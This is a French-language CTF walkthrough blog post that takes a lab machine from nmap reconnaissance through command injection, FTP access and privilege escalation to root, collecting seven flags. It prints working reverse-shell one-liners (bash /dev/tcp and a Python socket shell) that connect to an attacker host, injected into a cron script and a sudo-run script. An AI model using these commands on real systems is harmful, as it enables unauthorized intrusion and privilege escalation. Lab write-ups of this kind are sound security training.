Yo les amis ! what’s up ?
Prêt pour continuer avec les CTFs ? si oui alors, j’ai ce qu’il vous faut. Aujourd’hui un petit challenge particulier, il n’y aura pas de flag user.txt et root.txt mais 7 flags au total !!! plutôt sympa non ?
Le défi est de difficulté moyenne, si vous avez les bonnes connaissances de base et êtes attentif aux petits détails je ne pense pas que vous aurez des difficultés. Alors, le déroulement de ce dernier se décompose en 3 parties :
- Collecte d’informations
- Exploitation
- Escalade des privilèges
Normalement, je dois suivre un ordre bien précis si je veux obtenir tout les flags.
- Collecte d’informations
Comme d’habitude, je commence par effectuer un scan réseau en utilisant nmap :
nmap -sV -sC 10.10.63.212
Nmap a pu identifier 3 services en cours d’exécution. Le FTP 21, SSH 22 et HTTP 80.
Je commence par visiter la page web :
Dans cette partie de la page, je n’ai rien trouvé d’intéressant, je vais donc utiliser l’outil dirb pour brute-forcer l’énumération de sous domaines :
dirb http://10.10.63.212/ -X .php,.txt
Ça commence, des petites informations (/robots.txt et /post.php). J’observe d’abord robots.txt :
Bingo ! deux autres pages de découvert avec justement notre premier flag :
Maintenant que j’ai obtenu mon flag, je vais visiter la page /secret_file_do_not_read.txt :
Arghhff, ça aurai été trop beau ! bon je vais voir du coup la page /post.php :
Il y a quelque chose qui m’interpelle… je vais revenir vers la page d’accueil et observer de plus près :
Là ! les choses se facilitent, si je regarde bien l’url je peux voir qu’il y a la possibilité de rajouter une commande après le signe égale (=) :
donc j’essaye avec le fichier secret de tout à l’heure :
Coool, ça a bien fonctionné finalement !!! et j’ai réussi à obtenir les informations d’authentification du service ftp. Je go jeter un coup d’œil :
ftp 10.10.63.212
user = ftpuser
passwd = givemefiles777
Nickel ! voici mon deuxième flag, je n’ai plus qu’à le télécharger en utilisant la commande get et le lire depuis mon terminal hôte avec cat.
Bon ! et si j’essayai d’uploader un reverse_shell ?? Je me reconnecte sur le serveur ftp puis je vais envoyer mon script (vous pouvez prendre le script qui est sur le site https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) : j’ouvre le fichier avec nano et je rajoute mes paramètres interne.
Voilà, maintenant je l’upload avec la commande put :
Here we goooo !! je lance sur un terminal une écoute de connexion sur le port 4444 avec netcat et d’un autre côté je visite la page de mon script :
Super j’ai un reverse_shell ! je vais basculer vers un shell plus stable avec la commande python3 -c ‘import pty;pty.spawn(« /bin/bash »)’
puis après je commence à fouiner :
Alors, en cherchant dans le répertoire /var/www/html j’ai trouvé le troisième flag.
À ce stade, juste par curiosité j’ai tenté d’escalader les privilèges et j’ai bien fais !!!
Donc, si je regarde bien il y a un autre utilisateur : toby
Afin de me connecter j’ai utilisé la commande : sudo -u toby /bin/bash
je me déplace vers le répertoire de toby puis je liste le contenu :
Bingo ! quatrième flag obtenu !!!
Il y a un fichier note.txt, ça vaut le coup de voir ce qu’il contient :
Ici je peux voir qu’il y a une tâche sur le crontab, je fais un petit tour sur l’emplacement du programme qui s’exécute toute les minutes puis je regarde ce qu’il y a dedans comme commande :
je vais inclure dans ce script mon propre code afin qu’il puisse me donner une connexion inversée au bout d’une minute :
echo « bash -i >& /dev/tcp/10.8.218.133/8080 0>&1 » >> /home/toby/jobs/cow.sh
puis dans un autre terminal je lance mon écoute avec netcat :
Et au final j’ai obtenu un nouveau shell avec l’utilisateur mat. Il me reste maintenant à chercher le cinquième flag :
Ce flag aussi est validé, plus que deux et c’est terminé les amis.
Je vois qu’il y a un répertoire script, je vais voir à quoi il peut servir :
Je pense que je me rapproche du sixième flag, surtout dans ce répertoire :
Il y a deux fichiers : cmd.py et will_script.py en regardant le code je comprends que je vais avoir besoin de cmd.py pour commencer :
mon but est d’injecter un bout de code pour obtenir un autre shell, un peu comme tout à l’heure :
echo ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((« 10.8.218.133 »,4444));
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(« /bin/bash »)’ >> /home/mat/scripts/cmd.py
Après je tape la commande : sudo -u will /usr/bin/python3 /home/mat/scripts/will_script.py 1
et j’obtiens mon shell sur un autre terminal avec lequel j’avais lancé mon écoute.
Je passe sur un shell plus stable puis je liste le contenu du répertoire de will :
Super, plus que le flag_7.txt et c’est terminé.
Après avoir cherché un petit moment, j’ai trouvé dans le répertoire /opt un dossier backups qui contient une clé ssh encodée
en base64 :
Je vais afficher la clé puis l’utiliser pour me connecter en tant que root afin d’obtenir le dernier flag.
Je copie la clé dans un fichier puis, lui donne les autorisations nécessaires et ensuite je pourrai m’en servir pour me connecter sur le server ssh en tant que root :
chmod 666 id_rssa1
ssh -i id_rsa1 root@10.10.63.212
Et voilà le travail, je suis le super-utilisateur. je regarde si le dernier flag est là…
Yes!!! c’est terminé, j’ai réussi à obtenir tout les flags.
C’est la fin de cet article, j’espère que vous n’avez pas trouvé de difficultés durant ce CTF niveau moyen. Après l’avoir terminé, je me suis dit qu’un débutant avoir des bases solides peut largement faire ce challenge sans trop bloquer.
En tout cas merci à vous d’avoir lu cet article, je reste à votre écoute pour tout type de demande. Je vous dis à très vite PEACE !!!!